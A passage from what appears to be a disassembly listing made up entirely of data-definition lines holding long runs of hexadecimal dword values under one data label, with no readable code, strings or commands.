		dd 24C05A71h, 45C4606Ah, 41022D69h, 0CC40C183h,	47BDB610h
		dd 37680727h, 5D306252h, 0C725C600h, 0E720FFDCh, 7FA947Bh
		dd 37DF2966h, 0ACD5B45Bh, 0A9552C6Ch, 7710D700h, 540586Fh
		dd 0B1EF522Dh, 1728B81Fh, 0CBFE5C1h, 0D65C4D37h, 0AD599110h
		dd 0B326234Ch, 0C9FE82FFh, 0EB82B753h, 0C0F75BF9h, 2D862C7Bh
		dd 0C3C262E9h, 9074D357h, 4C5824A9h, 656D4E40h,	89FFBC67h
		dd 99D252E9h, 0C382EB0Ah, 0DF0B875Ch, 8BD8DE5Bh, 7854168Eh
		dd 221164Ch, 0C1434130h, 7A7706EBh, 14BD0159h, 97E92616h
		dd 60E22EB9h, 0EBE39593h, 4CDB75CDh, 363E68A5h,	0B366EF5Ah
		dd 5477B00Dh, 55085BBh,	3E65F2B8h, 0E8C7BA61h, 0D43735E2h
		dd 537D6061h, 525978FDh, 0D2F71DCDh, 0C418E99Fh, 2844E1EFh
		dd 3EBBAC4Eh, 4397A4C9h, 253B817h, 2975690Fh, 0B0600EF1h
		dd 0E9E4DD31h, 0F6AC702Dh, 0B1DAC5ACh, 9B9D7A15h, 10E6ED7Bh
		dd 8460A8F5h, 0F281EAD1h, 3840850Bh, 73E2554Ah,	0E41275C3h
		dd 8CBBEF9Fh, 0D45B5ECCh, 200531F3h, 0DC58153Eh, 11409044h
		dd 1B596A52h, 48471042h, 0EBFF16ADh, 375132BAh,	914BACD0h
		dd 52E020BBh, 931E1BAh,	3543B8B7h, 0D6885D6Eh, 0C224FE11h
		dd 2D68EEF4h, 0E97B50C4h, 3CEC0D00h, 1433E581h,	0B149D669h
		dd 3267ED03h, 0C013A4Ch, 479959A4h, 7F74E9h, 1AD2BAE8h
		dd 0C3970D58h, 848A3CEEh, 1052C93h, 3304B691h, 70CBFD6Dh
		dd 0A3B6E8CDh, 0C5C631C2h, 0B9D62F89h, 209180CFh, 48015810h
		dd 84177F3h, 447B8C39h,	5B0ADD93h, 6E075A68h, 10268198h
		dd 0A8705F39h, 7F128EFh, 381DD4A0h, 0D06B0581h,	0F5685EA8h
		dd 0D2324A4Bh, 383AFECDh, 987DF82Fh, 0CC0D0C8Ch, 0A4F05A2Ah
		dd 7E286816h, 0A3378BECh, 5948520Fh, 2EA68776h,	0BB001610h
		dd 3EC03A81h, 0E6B5EBD1h, 0DBF70405h, 0E8228368h, 9AFD005h
		dd 2C0059Ah, 76EA1E8Ah,	14C8C04h, 6E13CC53h, 9F846B7h
		dd 4F929910h, 414DDEB4h, 0EC494027h, 5D60EA26h,	0BE041C0Ch
		dd 0B79E92BAh, 4401B6F2h, 0E91D8E67h, 0CD6E7BEEh, 0BB79E440h
		dd 591A7C97h, 577F2154h, 0EF584B88h, 0C51EF61Dh, 9A96927Eh
		dd 9F95BC54h, 0C2B7C16Ah, 0C677776h, 4DCCB516h,	0A72735E9h
		dd 2B920460h, 834FBE80h, 7322C54Eh, 0C1568B93h,	0E07A3B89h
		dd 76000F60h, 0C8E7815Ch, 9046E842h, 280B0D8Ah,	0D00C0D7Bh
		dd 7E505812h, 305F6DEh,	0F9293A10h, 4E088610h, 0D1B06FF8h
		dd 9BF58E9h, 34327D7Fh,	208BE8DEh, 2CB35FC8h, 25EAAED1h
		dd 0D47130FEh, 0FC0E6B3Ah, 4A13C020h, 6EFED001h, 6042ED0Fh
		dd 97E2EB50h, 7786B8C8h, 44E2A0ABh, 0BD035F50h,	2A0B790Eh
		dd 0E9CBDD31h, 0E8CF2116h, 87AFD232h, 5345B0A5h, 0E91477F0h
		dd 27322CBFh, 5A51D099h, 0A011B88Fh, 94271BAh, 0D0290711h
		dd 780B70B9h, 39BA5AA8h, 78BD3A87h, 51A63E10h, 0C35C6055h
		dd 7CEFCE0Bh, 0D1897F1Bh, 0FE01F661h, 7CE967B8h, 8252FE5Eh
		dd 0AA0857AFh, 0BEEBF804h, 0B9E31712h, 918126B9h, 7EEC184h
		dd 0D54EA7AAh, 1E26183Ah, 131DF665h, 0BE47AE32h, 8FFA9904h
		dd 9D3C0B9h, 0BE45415Ah, 40F49CBEh, 0B2A7792Dh,	965DD6DAh
		dd 848AAC37h, 0A5F495BFh, 54A5A242h, 0FAA46244h, 135365D7h
		dd 0BAF6C1FBh, 7B8EC046h, 89978FF4h, 8CF08885h,	0E66CD42Dh
		dd 709F5B75h, 1EA40B73h, 0FF5C2651h, 0E91208A0h, 99D0667Ah
		dd 9BBF0C7h, 0F901E7BFh, 0C0654D82h, 6C75410Fh,	268002CDh
		dd 165E9E1Ch, 0E92FFA09h, 82A1D568h, 9A23C4FDh,	0EFA13580h
		dd 14F72D2Bh, 0B610953Fh, 0C0C16207h, 7A6393C7h, 4266F03Ah
		dd 0D548C082h, 79072D59h, 0A222EF5Ch, 20D2B4B5h, 5D982097h
		dd 9D57CA20h, 58038450h, 0FEADB551h, 0E1CD92C5h, 104ECBCh
		dd 0BE4A5C9Eh, 3B06ED3Dh
dword_4F1348	dd 0CD66DC0Ah, 2830A548h, 1679A368h, 0AE5D4C7Ch, 5F92AE80h
		dd 60745CBEh, 90D7D22Fh, 0C4A42375h, 0BB080448h, 0FA152CB3h
		dd 4B04B8A3h, 80380265h, 0E81891EBh, 78201BB0h,	2561BCD4h
		dd 39617C40h, 0D21EA325h, 495E20D4h, 0EDA8724h,	0CFFB2C45h
		dd 933A502Dh, 6F62509Eh, 0DE6C0BE8h, 55146826h,	782EE989h
		dd 0AB585FCAh, 0E76FE339h, 0ED05FBEh, 974A55E9h, 0B501D6FBh
		dd 6DB6526Ah, 92F859FCh, 0B9798A9h, 12384EF3h, 2D056ED4h
		dd 0E214444Ch, 16812F9Ch, 4A95FA3Ah, 0C00E9E6h,	0ACFFEE5h
		dd 0E0B6D276h, 0D6BF294Eh, 81C2523Eh, 28DDCAC1h, 5653C105h
		dd 0F72F5E54h, 5A079539h, 0BBA486ECh, 0B6BBE995h, 0D901168Bh
		dd 89824EA2h, 0DD6159CEh, 0E569819Ah, 29776F41h, 0EE05F5D8h
		dd 0B017713h, 0A884E9EBh, 65130E8h, 0E2073181h,	0A2D53732h
		dd 8E856F7h, 29C60293h,	80502289h, 740E0B0h, 73760CBDh
		dd 0DC683CAFh, 7B7D1C14h, 773700E2h, 35481D6Bh,	807E0022h
		dd 0B160D1Fh, 439869DCh, 0D0BB9440h, 0BA2AC1C5h, 0AD5B4ACEh
		dd 72C0C580h, 16C03CA8h, 567E071Dh, 489D34BAh, 9D6BE9C8h
		dd 0EF86DD81h, 42B6C980h, 45D7D9A7h, 0F4A01609h, 5560FD7Fh
		dd 0C03F449h, 0BDCAA05h, 5A445407h, 13F672DDh, 0F8516EE9h
		dd 8BFBB526h, 0B0F21871h, 5A66C825h, 53C96059h,	89449E9h
		dd 0D226D627h, 0A2BF9AFAh, 3143CCC3h, 4E722C64h, 70D138EAh
		dd 71AFD84Fh, 38A1B52Bh, 60AEE4A8h, 0BD1551B9h,	0D7E9100Ch
		dd 78ECEFB5h, 5E422E02h, 95F54249h, 0D8AF5705h,	54003437h
		dd 0B8BF0DB1h, 2F0AE11Ch, 0BEA9EF81h, 0BBF3FF05h, 60DA6A8Ch
		dd 0C4EE9702h, 215B0427h, 4C30D887h, 9BFE2975h,	0B1443226h
		dd 0D7870B5Dh, 68135464h, 3BF365F4h, 0C83F3500h, 0F896E920h
		dd 57E9F0B4h, 0BA4AA140h, 0E27C5081h, 0BB9FDFB1h, 7A05729Fh
		dd 0E1D1442Ah, 0E021E409h, 97585B34h, 303E40D0h, 0BF7F2AF9h
		dd 0C76924C4h, 9C68AC01h, 0B2DB4C63h, 4F3AF09Fh, 109CACC2h
		dd 680A9838h, 8DE44F7Dh, 80B9D1A7h, 94CCA8Eh, 0A005585Ah
		dd 5617E906h, 5D25D2BDh, 3E2DF961h, 43FCCF5h, 17A72815h
		dd 1BB6E935h, 0A63FF57Dh, 2CEF9271h, 58B750A2h,	6285B15Dh
		dd 0B70201D0h, 11C057AAh, 7667CF80h, 0F1637AF2h, 0E992876Bh
		dd 3A14FCD3h, 684F29B0h, 49C63CE7h, 48B5349h, 0A7C26C6h
		dd 5784AB4Bh, 0C2E670C3h, 7D56E04Ah, 0E81CBD3Ch, 7E6C105h
		dd 48C2C631h, 6F997FD8h, 0B3006A03h, 0E72653BFh, 949B077h
		dd 3B991387h, 1FE65DDh,	63FED1F7h, 0CAF02B64h, 9F7C2Dh
		dd 0BD552C82h, 8E7781Bh, 857754B7h, 0AAA80FE9h,	5F7957F2h
		dd 2288A513h, 0D8954B30h, 0FA2B16EAh, 95BAA588h, 775ACFDCh
		dd 0E0932679h, 54A62852h, 0B26F285Fh, 8B48203h,	825AD428h
		dd 0DF71E2E1h, 3B9FD2C1h, 12438B2h, 0A5741F49h,	5C169FD9h
		dd 1EB5AFF4h, 10462C71h, 699D016Ch, 5C015597h, 4138D7Eh
		dd 0E9E1FB0Ch, 9A36E92Fh, 0C49284D4h, 0B93F1FF5h, 0D4D6DFBFh
		dd 0E6C00D40h, 5BEE8005h, 0E18F818Eh, 9E6D2EE2h, 4ABE240Ch
		dd 0BD2CFAE3h, 4AD224F7h, 1DB70328h, 0B42435FFh, 0C1960E5Fh
		dd 40EF38F0h, 313C5D9Ah, 80F827C5h, 462DBEC0h, 290D17E1h
		dd 48B5BCF7h, 1E96251Ch, 0EB810063h, 528A23D9h,	1D90C329h
		dd 0E749E17h, 185501AAh, 8023850Fh, 1360EC0Ch, 0ABD1E929h
		dd 0CAAF9DC7h, 0D5257F28h, 42807CB1h, 165BF8BFh, 3B1EB0A4h
		dd 9EF76ECAh, 0BB23DC2Fh, 4C190D03h, 85E70118h,	50816C1h
		dd 0C8102D20h, 0EFECA96Dh, 3F26617Bh, 6880FE25h, 41B47BE1h
		dd 49C17F5Fh, 4B12A108h, 10EA1CBEh, 6EB24FC3h, 3D632610h
		dd 0A21904B9h, 0C6C8414Dh, 7BF141C3h, 0FC8AD31Ch, 0E958D85Bh
		dd 0CCCE5FAAh, 0E41696Ch, 0E33A047Eh, 876E1999h, 0F6800EAh
		dd 154E364Ch, 351F6EC0h, 89012D1Ch, 0B70C2AA0h,	0E9251DE0h
		dd 96D8F09h, 4D400592h,	81C25F2h, 3BC9CBDCh, 448B69FFh
		dd 56360C49h, 0C5CAE917h, 0EBDAD44h, 201C5DEBh,	0E9DA89B4h
		dd 0B51A4C6Fh, 0F45166A1h, 449574A9h, 4041F0D5h, 0A398BA0Bh
		dd 7434B627h, 1C700CF4h, 9319C343h, 6B78A81Bh, 288217A0h
		dd 962CB965h, 59E1000h,	0B050C328h, 1CEF5185h, 9A510E5h
		dd 55390868h, 4DF79092h, 4D4F1AE4h, 6F868D40h, 313E690Fh
		dd 0D03AA9FDh, 78F99073h, 83895E87h, 0EEF080D8h, 775C045Ah
		dd 0B7206E92h, 44D99F84h, 74D3A242h, 609F6F9Ch,	80CCB84Ch
		dd 3081D801h, 13D10915h, 625758F8h, 745574Bh, 53B354C4h
		dd 250104D2h, 0C31EE11h, 896F057Ah, 63E86B81h, 56820CACh
		dd 4D13019Bh, 6E5F1C52h, 0E909E8F8h, 43D408FEh,	489F9EC3h
		dd 5D10C23Dh, 6DBA4A63h, 56EF3C60h, 74924FF7h, 27B5545Fh
		dd 5E25BADDh, 0C6DE27D8h, 40E9EEC0h, 91D91D5h, 0A3518A2Fh
		dd 949FDA4h, 1A5355B9h,	762A4AEBh, 53E9D861h, 0D07F7467h
		dd 0EC0F1DD0h, 0BE5A4F7Bh, 3F682370h, 9EE5976Ah, 894D8F10h
		dd 0FADFB3C5h, 50683DDCh, 955B1002h, 0C25F7984h, 5157BD1Fh
		dd 6ED82762h, 0F9283E09h, 82435A5Eh, 59E7FC08h,	89B8341Dh
		dd 0DC605681h, 0B9C9991h, 7B8BABBEh, 0A024E55Dh, 13EF01EAh
		dd 22E94432h, 77A22A9Fh, 0CDA8FA8Ch, 3905B740h,	172C40FDh
		dd 96C51C7Ah, 0DAA4E2EFh, 92DB55CEh, 0CFDDE961h, 44DFF924h
		dd 0EA91F545h, 1523EA02h, 610C412Dh, 0FD7ABF25h, 0EAFEB12Eh
		dd 1EA45189h, 5E58A544h, 0C1BD3827h, 41427020h,	0B7B54125h
		dd 7942AF5h, 199CC4C0h,	0BE2D18C9h, 0CE310B98h,	5EAB41BDh
		dd 0F4D3AA62h, 445AC174h, 317ABCB6h, 5D9D7B52h,	49FA485Eh
		dd 5949E295h, 22C4EADFh, 322D38E1h, 0BF49E416h,	8B9A8B8Ah
		dd 1275F783h, 0F924B24h, 0BC46EB8h, 0CBE2D4F0h,	681798D8h
		dd 0A6E2400Eh, 0CF805D03h, 0D099FEF6h, 0B6CF70EFh, 0DE716681h
		dd 28B11438h, 68D030CBh, 1A586B2Fh, 0C4A455ACh,	5B15C201h
		dd 0BE5800D6h, 6D4A06DDh, 0BD9BD62h, 0C171E918h, 1685BA76h
		dd 0AA489279h, 5512514h, 62812B19h, 1E6680AEh, 0D9BD3A63h
		dd 756A0220h, 88004994h, 0EC166079h, 3610CF3h, 230C5BD4h
		dd 0F487AE8h, 4B7B00DFh, 1C0567A6h, 60522E69h, 7DC13865h
		dd 232D79E7h, 8985D364h, 9CF565E6h, 0DF8E9D5Bh,	1073BC73h
		dd 5D276B17h, 0A345A45Dh, 441D8188h, 0B4534A39h, 0BA521F8Ch
		dd 5A9B1587h, 0A51674E5h, 2F2869FAh, 5CE27BECh,	7C04F282h
		dd 0B0B6120Ch, 0E9F01C28h, 59E6B093h, 302C90B2h, 80582CE2h
		dd 0F6FF17C2h, 111EAED2h, 6A9F50Ch, 96E92ACDh, 9FBF04F8h
		dd 0EB763E41h, 0E2104E90h, 89BC166Dh, 0E97772F9h, 0F2AA9075h
		dd 0E87BE1C3h, 5716A4CFh, 6165561Ah, 0C2E1EDE1h, 5B2DE86Fh
		dd 0D2D37827h, 590A30D8h, 808F0262h, 8031AE2Eh,	1A4AF628h
		dd 7098AC84h, 5CF780FBh, 0C3803BC3h, 61F885BBh,	21585B75h
		dd 6BC583D2h, 7A770A0Bh, 810B5EA0h, 0C9F7312Ch,	56089EFEh
		dd 4089246Eh, 302224D7h, 0B6F0BE8Dh, 5B9A9592h,	3C8EA960h
		dd 812A3700h, 0D54BE6CEh, 4E462676h, 7FEA004Bh,	77E97EF7h
		dd 0B089BB5Bh, 80011042h, 2AE9D166h, 3798B7B8h,	10B7988Dh
		dd 0BA096893h, 0B7CBFAFBh, 0DDF72C02h, 488D341h, 0B48DF100h
		dd 7DEC30EFh, 9E0F7659h, 6802825Bh, 8151225Ah, 81813998h
		dd 7FEB0AF6h, 98D0FFFh,	1C77DB05h, 978D9A00h, 5452D2B0h
		dd 0A0A7BEC8h, 0F457F6DAh
		dd 601B54Eh, 9604712Ch,	0C6427A86h, 756CB168h, 2A397E99h
		dd 0E0298A0Bh, 0B783B115h, 96807012h, 1D116D44h, 0E9650B7h
		dd 0D104E7C1h, 0B55A1072h, 4E634305h, 74FB869h,	4DF31298h
		dd 71CE160h, 2E1548B4h,	7DB76B01h, 0DCCF31ACh, 22BE729Ch
		dd 0CF9F8154h, 94EF2981h, 2F7A9C2Dh, 5F236B0h, 47070918h
		dd 56EA0B4Fh, 0AB04CE84h, 0FD890BC1h, 0BC781F3Fh, 0E954C293h
		dd 6E084149h, 3EF20635h, 7187E982h, 1C648A5Eh, 9B813FECh
		dd 6008CF4Eh, 0BF808CB4h, 6A41000Bh, 93F7811Ah,	86EF4A09h
		dd 0C23D3F52h, 3CD225CCh, 32F90620h, 0A2C3773Bh, 9DABD39Dh
		dd 0E90402FBh, 937FEE38h, 8ED4F590h, 0BE9BD2BEh, 562555F8h
		dd 303DE5Ah, 2C8E3EDFh,	3AC347F1h, 0EC487EA3h, 5114910Eh
		dd 0EC78520Dh, 5F02A608h, 55E9F289h, 0D50B481Fh, 0E9739F2Bh
		dd 2563D44Bh, 331799FDh, 3127007Ch, 0E13C817Fh,	0D07AA153h
		dd 3C370250h, 0F210CC1h, 0A86A79E6h, 0A0084126h, 1E98140Ch
		dd 8F51BC5Ch, 86969E69h, 4BFADF0Eh, 469BD4D5h, 0BF07291Ah
		dd 74FC5127h, 0C8F24CA2h, 2E698FFFh, 5ADD03DBh,	52506CEEh
		dd 0ADF04D8Fh, 169E1751h, 0A890E6E5h, 0F7023AB6h, 5D31C019h
		dd 673A88E8h, 0E92CA690h, 0CA42D283h, 0A8015159h, 2C53F211h
		dd 20B05AE2h, 0E90880D2h, 0BA37546Dh, 670912C8h, 0D0570A47h
		dd 905F3C70h, 0C5FCBBBh, 0A528AB3Dh, 80E5C2DFh,	399514B8h
		dd 76055C16h, 0E8911696h, 12625A39h, 4B93D958h,	867A52D6h
		dd 9F10DA2Fh, 0D87DD2ECh, 4B6B7938h, 7B1E3DFFh,	64480AB2h
		dd 0D95CB94Fh, 0C73DA5F4h, 3018F53Ch, 59CD939Eh, 8BADDE9Fh
		dd 0B1712104h, 0DDB75380h, 2F5E780h, 0D5F6EF86h, 4AF0D6E9h
		dd 0BED85F5Bh, 0EFFC5BEFh, 1B81725h, 1296D384h,	73F8E956h
		dd 0CD92E24Eh, 0D03E89B1h, 7C19F6C4h, 0BC3F5528h, 744A9227h
		dd 0C3C101F3h, 2B1A1512h, 510BE3F9h, 1C05EE9h, 0E5B7FE88h
		dd 0D1479655h, 2F5EF2C1h, 36C2B591h, 2563D220h,	5B72A0E9h
		dd 0A5B8E24Ah, 22D12FADh, 0E72B1C77h, 6B35123Ah, 0A4AE6CEEh
		dd 7F0862BDh, 0F2CA08D1h, 489CB315h, 0EB83174Dh, 4A09CABBh
		dd 450E1F4h, 31E912B4h,	2F60FF2Bh, 4C6A7006h, 5F49ABF8h
		dd 6F31F14Eh, 53811FADh, 2831BB68h, 11FC920Fh, 5970522Dh
		dd 6CD8F44Bh, 0CC0E4BD2h, 0A256888h, 0CBD0D66Ch, 537D04h
		dd 805BDD28h, 88D917C5h, 0DE5D1CEBh, 41F341BAh,	2DD53DE9h
		dd 2CBE05E7h, 3C8108AAh, 0B0CDC524h, 8F25166Ch,	2F5C1941h
		dd 54C926E3h, 8008BBD4h, 17E620A3h, 0CC775068h,	756AAA56h
		dd 0DE3F1D49h, 79AE3F84h, 0C65E2827h, 17B12BE9h, 4E32059h
		dd 0AE483BBBh, 0CD5E3CDAh, 0FDE4822Bh, 60B5C46h, 0E09D0DF9h
		dd 80E7CFE4h, 0D100D8F7h, 3B342DE8h, 0B0017EFCh, 0EF1D3244h
		dd 0C6C0DF21h, 283B1138h, 13CF0171h, 4F032150h,	0FAE4588Fh
		dd 8BC20E49h, 4265F682h, 7794DF09h, 46A96812h, 403284CCh
		dd 557256CAh, 27306809h, 9A38F53h, 0E1349AA5h, 1D2F1B56h
		dd 0A50D295h, 0ADE7A3FAh, 3C9C125Eh, 0F82FCCE8h, 8C8498E8h
		dd 64BC050Eh, 356DDC68h, 0E9B461D2h, 650D7C46h,	7E90076Ah
		dd 10F2EB8h, 1F056223h,	46AF66F9h, 0BBB09791h, 0BF29CD40h
		dd 52E2A040h, 5D77EC1Fh, 0F2E0FF96h, 0C1567E5Bh, 2F0F5030h
		dd 0F270707Eh, 0F96107A2h, 0D36024DCh, 0C33D80FCh, 4FE5984Ch
		dd 0FAE1BA16h, 0F72713B7h, 5A1FFADAh, 0F2092FFBh, 3B7A3CB8h
		dd 0E471598h, 2B2F510Ah, 7E898905h, 95E967C5h, 164E90DEh
		dd 627A9C4Bh, 4E034A38h, 3F7829EEh, 68AE60C4h, 0E3C4C9DDh
		dd 1BA870E9h, 5EC7BF00h, 68B91C30h, 248ED809h, 58BAD429h
		dd 5848C131h, 0E1F87936h, 704D0F01h, 1F56680Ch,	67C18338h
		dd 3007760Ah, 0D09C8D1h, 80811C6Bh, 5C4C2FE6h, 0D00B741h
		dd 5637D817h, 9174E9Eh,	0ABEC52BFh, 77993701h, 0EE30FC8Bh
		dd 7ECDF443h, 0D15F3836h, 0D928FE4Fh, 13BB949Eh, 68720221h
		dd 0AB51503Eh, 27EAE188h, 0D4ADB15Dh, 0BB4AD3Fh, 8035F072h
		dd 0D92CFE91h, 0FFAB03Eh, 1B492FCCh, 436AF380h,	5D957BD7h
		dd 17A3CC80h, 1CC03D85h, 7CD63F5h, 0D0D95E29h, 0B980C1ACh
		dd 80CF8D28h, 7CAFE64Ah, 36C15CFBh, 66CD6CCFh, 5C8E942h
		dd 0F5C4AE5Bh, 3D408E00h, 0E2454EA4h, 7ED0BC1h,	80DDC583h
		dd 27156C29h, 0CD82B73Dh, 0AA09E725h, 0F64305B1h, 80041FD6h
		dd 16F3E6EEh, 0DE4D01B3h, 6EB29DE9h, 0AA133BCEh, 0F14D90CCh
		dd 0B0B01E4Ah, 7D59EBF8h, 0A8AAB46Bh, 9DEDC043h, 2E0C321Dh
		dd 226CD501h, 44DD5C08h, 0AF9AD725h, 0A608687Fh, 1E280439h
		dd 8502D9B9h, 76D2EEC6h, 2D41D496h, 0E913971Eh,	38EF7B8Ah
		dd 0FE26688Bh, 2BCE704Bh, 0DEDF6802h, 3CC3DF83h, 0BA192F34h
		dd 7D2A4431h, 5AC45438h, 0D1F7054Fh, 0BD5B27E0h, 0BD82B1F6h
		dd 403FF94Dh, 2FC29016h, 9C70840Dh, 73889C70h, 5BCE1340h
		dd 0E7C9AB4Fh, 134AE320h, 2520714h, 0AF151FEFh,	0C4F7C480h
		dd 1026E277h, 0F1921F01h, 62CEAE00h, 985E48E5h,	0A3A45DB0h
		dd 738FB877h, 0DE72BF59h, 201EC495h, 0BB04DFD5h, 1AE72088h
		dd 1750E4FEh, 0E986561Eh, 54163875h, 0F85F50C8h, 20E15BD6h
		dd 7FF3B9E0h, 0AD691D3Eh, 0F78742A9h, 68C25BF1h, 419EAB7h
		dd 1E12AEBEh, 904E92C6h, 2009337Dh, 0FA30747Bh,	68504EABh
		dd 572C00ADh, 322D580Ch, 0F02336Ch, 56AE335h, 0E994C147h
		dd 0EDE964FAh, 0B8BEE8EEh, 0AB7F12DBh, 5717E06Eh, 879A7DFCh
		dd 0E3BB660Fh, 297E291Ah, 0CA34F59Ch, 660A8EA0h, 15FE676h
		dd 81DA2C4h, 3553D857h,	0EB00A9DDh, 4B0D4ED0h, 2714A847h
		dd 0D512C2DCh, 3B3A464Fh, 0DCFD25D7h, 7C3F02E7h, 40577B4Eh
		dd 0CE58143h, 4DC0F5Ah,	4F19081Eh, 0EC9224BAh, 0C56F65C5h
		dd 0D1C5FBD2h, 4E17CABFh, 6A0438B8h, 5476712h, 580001EAh
		dd 0F057ABF2h, 24FB9629h, 534E0340h, 0A8D46DE7h, 25894CEAh
		dd 0C648F183h, 76F65E57h, 5A1A3916h, 2A799EACh,	20FC3287h
		dd 0D1F4755Fh, 0CFCC565Fh, 0A64E3AAEh, 0B3A9CAh, 7DB3F6C3h
		dd 4199E9FBh, 16BA3872h, 0E9ACBC6Bh, 97D6E5C9h,	5FE93B29h
		dd 2FE221A3h, 25507B13h, 49AA6235h, 45557232h, 0D47EA737h
		dd 3321E961h, 1666EE48h, 0FA0D206Ah, 80B3AC4h, 5AA2D658h
		dd 67759E62h, 66320BCBh, 0D2E509D6h, 340847EBh,	0AAD2DF90h
		dd 0E479EF2Dh, 0C8DCBF84h, 73EF2E68h, 34AE5BB3h, 0AA8EEB0Fh
		dd 0C822FE5Bh, 24C7720Ah, 89B5E58h, 3012FBDEh, 0AF4AA3F8h
		dd 70339129h, 35686681h, 0F4A5D258h, 0E4B605B5h, 0E5864954h
		dd 396F30F5h, 2746B579h, 55B0CB72h, 1290F94Ah, 3D43BBC1h
		dd 9596116Dh, 0C4E6B810h, 19148A8Eh, 9CDA8F25h,	3D3094A0h
		dd 504CFB27h, 0F1E78291h, 353151F8h, 0A3F6AC93h, 0CA25335h
		dd 0A3358B9Fh, 84A72EF4h, 0ABBC9422h, 72B418A1h, 0C0C99ED8h
		dd 0C4A6443Ah, 1A0D43Eh, 0F488C6FEh, 0C42B20E5h, 34F2BFD7h
		dd 9BC5D3C6h, 6309F306h, 72DC304Fh, 5B90C1DEh, 660ECE68h
		dd 0C4B01B5Fh, 0F8B6B253h, 6B681296h, 5061CC41h, 0F6DDDB8h
		dd 41EE12EDh, 0FCEE1EE8h, 10F560A7h, 0EB9E722Ah, 0BA436F03h
		dd 0DBEE901Bh, 0E9392D08h, 2984D8DEh, 0F2BE5DEBh, 9560E632h
		dd 39C06271h, 1265A841h, 0CEC157E9h, 73A85F69h,	118E91C4h
		dd 34174CFAh, 0A01610BEh, 0AF7585BEh, 4FE36838h, 2628CC1Eh
		dd 38450D52h, 6648747h
		dd 7A867E9h, 30D9F791h,	6A6CE635h, 92091375h, 801B246Dh
		dd 0EAED16A9h, 0EBD8959Ch, 58BF571Fh, 0D0739509h, 0DFF7020Bh
		dd 0A2FFE94Fh, 1839DB77h, 0CB81C92Dh, 8F1E2B09h, 0C050434Bh
		dd 6B145A3Fh, 0A4001062h, 6F6047F4h, 89C7E2BFh,	0AFC276E3h
		dd 85C2915Eh, 27B8753Eh, 15D3C68h, 42128B97h, 5626408Dh
		dd 5B5B9F08h, 19EE208h,	28F6EB80h, 0E161D6F3h, 39AC3F5Ah
		dd 0EDD56EC9h, 0E9830BE9h, 3DCDE5F7h, 25C837ADh, 21DDCCDh
		dd 0ED8151D6h, 50C80E10h, 3046C5F0h, 0E9F0CCBAh, 86E6415Dh
		dd 0C57E2B41h, 2DC7729Dh, 0CB01ECA2h, 2507A460h, 82BF6477h
		dd 0A90CFAC9h, 0B66C5D7Fh, 0E08DE927h, 1251BDE9h, 0E8BC9836h
		dd 20A15BCEh, 4F843920h, 1F78E050h, 62AEC84Bh, 4798577Bh
		dd 24C0AF3Bh, 2AEE8FBAh, 3E439D7Dh, 9374FB9Ah, 6AAAB7C2h
		dd 0F08F26Dh, 83D7F706h, 0B9E9861Eh, 410B9B03h,	81388476h
		dd 7431FF1Ah, 0E29480F6h, 3B02AA06h, 81E21BE9h,	56078D01h
		dd 0C75AA8B2h, 8A6885F0h, 6FDB8D11h, 283A2CCDh,	6F4E013Eh
		dd 0D8D949E4h, 4C238055h, 5B1FB312h, 52EDD8AAh,	0AE2BE912h
		dd 0FE6464EBh, 770111B4h, 854A4BC6h, 0A28B31BFh, 81DB078Ch
		dd 486BB668h, 0B1B1E0FAh, 1ACA307Dh, 0C926120Ch, 5E682109h
		dd 5160992Bh, 120133E4h, 0BD59606Ah, 1FEB04E5h,	6F816CA9h
		dd 550039A5h, 674D3168h, 2DD58100h, 5D2A7B5Eh, 0E6C180A2h
		dd 0BAEE8102h, 0B56F9C04h, 0EDC2F589h, 8889FF7Ch, 0E9127834h
		dd 0B1B41847h, 53DC890Dh, 72A701D3h, 454A34D0h,	515F1F42h
		dd 32D54772h, 4D7E5394h, 0FBF18217h, 6B78046Bh,	88EE13DAh
		dd 6D62236Fh, 0F6AA946Bh, 0A1FADA55h, 6E4AD927h, 7A509FC5h
		dd 71AE3505h, 0C2847E57h, 685E2190h, 32375A5Fh,	0BA5007C0h
		dd 0D56EB901h, 0CD019487h, 90D0993Ah, 201EA268h, 0C080DCCCh
		dd 52ECD0E8h, 0F6F003B6h, 0EE76467Bh, 9F6AE916h, 54A88320h
		dd 80A0DDF7h, 0A9AA6F25h, 5B58D889h, 81FD4EC3h,	0D0C103D2h
		dd 74171E5Dh, 73BC0399h, 63490896h, 2DF00100h, 4EE278A8h
		dd 5A12A77Ch, 0BB85AEACh, 7E3D8012h, 11024105h,	0D8291B40h
		dd 66078B2Dh, 6C0505B2h, 0A4A2532h, 30072DD7h, 5E0EEA48h
		dd 94BA384Ah, 944FB06Fh, 0A4BD8C96h, 0A093177Fh, 0FD3F79E1h
		dd 5658A008h, 47532468h, 1480697Eh, 49E262C8h, 39C554BFh
		dd 27806703h, 0A1A4E94Ah, 0C8133E8Bh, 104BCFBBh, 904B8AE1h
		dd 0EFC0ECC9h, 0C7FE0316h, 12138D08h, 6872D05Eh, 46BF28C8h
		dd 46F3835Ch, 21178F10h, 20AC8DD8h, 94F0E919h, 0CB57FC95h
		dd 7B9DBDCCh, 4F308800h, 20478F07h, 31C306ECh, 0CD1EF448h
		dd 0FA370729h, 25E57373h, 7117595Eh, 0FD63E90Dh, 18492440h
		dd 812802AAh, 0BC124EEFh, 759BE5C1h, 0B6803FE9h, 60CF37B1h
		dd 26570C58h, 2BF7D48h,	0A2CCC0D4h, 0B00D39E8h,	2408198Fh
		dd 12618233h, 3BD369A7h, 93041C94h, 31ABB6F8h, 9FB49Bh
		dd 93F0095Bh, 24A2C60h,	7E4206CBh, 70A1C055h, 0EAF1C166h
		dd 0C759555Eh, 0A362F2EAh, 9EB080Ah, 4465BBAh, 0C25610BDh
		dd 0A31116DBh, 0B450AB66h, 5F916408h, 32813DEFh, 0D15CC9FFh
		dd 0C87F6911h, 8089A3F6h, 8E09C681h, 9015672Ch,	0FEA0F6C2h
		dd 21DC20DFh, 18DCE5F8h, 7E0ED7C2h, 8849C025h, 35AA075Ah
		dd 3534A22Dh, 1448370h,	8DE3965Fh, 0F35BD913h, 0F532C1Dh
		dd 81C4E30Ch, 34220BF7h, 0F06213C7h, 80E4AC61h,	80DAF63Ch
		dd 3A8852F2h, 0B2185AD4h, 0C2FE16CEh, 1E5B2290h, 1705E63Ch
		dd 4CE5001h, 0FC9DCA6Ch, 86CFC4F4h, 0D8DE5F0Bh,	2EEF7F7Ah
		dd 555839B2h, 0E950A351h, 27329CEAh, 0FBE7380h,	0E3EC7DA8h
		dd 0A30BB309h, 0AEBA8054h, 0C1658A51h, 3C213D24h, 380C8232h
